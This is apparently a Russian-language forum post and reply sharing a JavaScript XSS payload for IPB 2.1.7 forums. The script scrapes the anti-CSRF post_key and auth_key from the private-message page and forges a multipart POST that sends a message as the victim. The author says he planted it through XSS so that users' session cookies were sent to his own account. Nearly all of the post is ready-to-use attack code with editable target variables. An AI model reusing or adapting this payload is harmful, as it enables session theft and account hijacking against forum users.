Вот писал когда-то, решил выложить. Скрипт отправляет персональное сообщение любому пользователю в форуме ipb 2.1.7 (тестировалось только на этой версии, возможно будет работать и на других). В свое время запихнул его в xss и юзеры сами слали мне куки Конечно практическое применение не велико, ибо запихнуть такой здоровый скрипт редко удается. Зато не происходит обращение к левым хостам. Суть работы простая: сначала посылает GET-запрос на страничку отправки персоналки, и выпарсивает оттуда post_key и auth_key, а затем генерит multipart/form-data POST-запрос с телом сообщения и шлет его. В общем может будет кому полезен. PHP: //эти переменные править var forum = "http://www.forum.ru"; var msg_user = "admin"; var msg_title = "TEST"; var msg_post = "TEST POST"; var boundary = "---------------------------1065103348625032172387451659"; var http_request = false; function createHttpRequest() { http_request = false; if (window.XMLHttpRequest) { // Мозилла, опера и т.д. http_request = new XMLHttpRequest(); if (http_request.overrideMimeType) { // Выставляем тип странички http_request.overrideMimeType('text/xml'); } } else if (window.ActiveXObject) { // Интернет эксплорер try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } return http_request; } function makeGETRequest(url, param) { http_request = createHttpRequest(); if (!http_request) { //alert('Cannot create XMLHTTP instance'); return false; } http_request.onreadystatechange = alertContents; //Тут написать функцию которая вызовется после получения странички http_request.open('GET', url + param, true); http_request.send(null); } function makePOSTRequest(url, param) { http_request = http_request = createHttpRequest(); if (!http_request) { //alert('Cannot create XMLHTTP instance'); return false; } http_request.onreadystatechange = alertPost; //Тут написать функцию которая вызовется после получения странички http_request.open('POST', url, true); http_request.setRequestHeader("Content-type", "multipart/form-data; boundary=" + boundary); http_request.setRequestHeader("Content-length", param.length); http_request.send(param); } function alertContents() { if (http_request.readyState == 4) { // Говорит о том что все загружено if (http_request.status == 200) { // Статут загрузки страницы, если 200 то все нормально //alert("ok"); var xml = http_request.responseText; var re_post = new RegExp( "name=\"post_key\" value=\"([a-z0-9]+)\"" ); var re_auth = new RegExp( "name=\"auth_key\" value=\"([a-z0-9]+)\"" ); var post_key = re_post.exec( xml )[1]; var auth_key = re_auth.exec( xml )[1]; var param = '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="removeattachid"\r\n\r\n0\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="OID"\r\n\r\n\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="act"\r\n\r\nMsg\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="CODE"\r\n\r\n04\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="MODE"\r\n\r\n01\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="post_key"\r\n\r\n' + post_key + '\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="auth_key"\r\n\r\n' + auth_key + '\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n15360000\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="entered_name"\r\n\r\n' + msg_user + '\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="from_contact"\r\n\r\n-\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="msg_title"\r\n\r\n' + msg_title + '\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="ffont"\r\n\r\n0\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="fsize"\r\n\r\n0\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="Post"\r\n\r\n' + msg_post + '\r\n' + '--' + boundary + '\r\n' + 'Content-Disposition: form-data; name="FILE_UPLOAD"; filename=""\r\nContent-Type: application/octet-stream\r\n\r\n\r\n' + '--' + boundary + '--\r\n'; makePOSTRequest( forum + "/index.php?act=msg", param ); } else { //alert('There was a problem with the request.'); //alert(http_request.status); } } } function alertPost() { //здесь можем обработать результат отсылки, если захотим } //вызываем эту функцию для отправки сообщения function main() { makeGETRequest( forum + "/index.php?", "act=Msg&CODE=04" ); }
пардон за не понимание, какой доступ и куда? если непонятно повторю: я запихивал скрипт в xss и он слал куки любому пользователю на форуме, ясен пень я указал свой аккаунт, и все куки шли мне.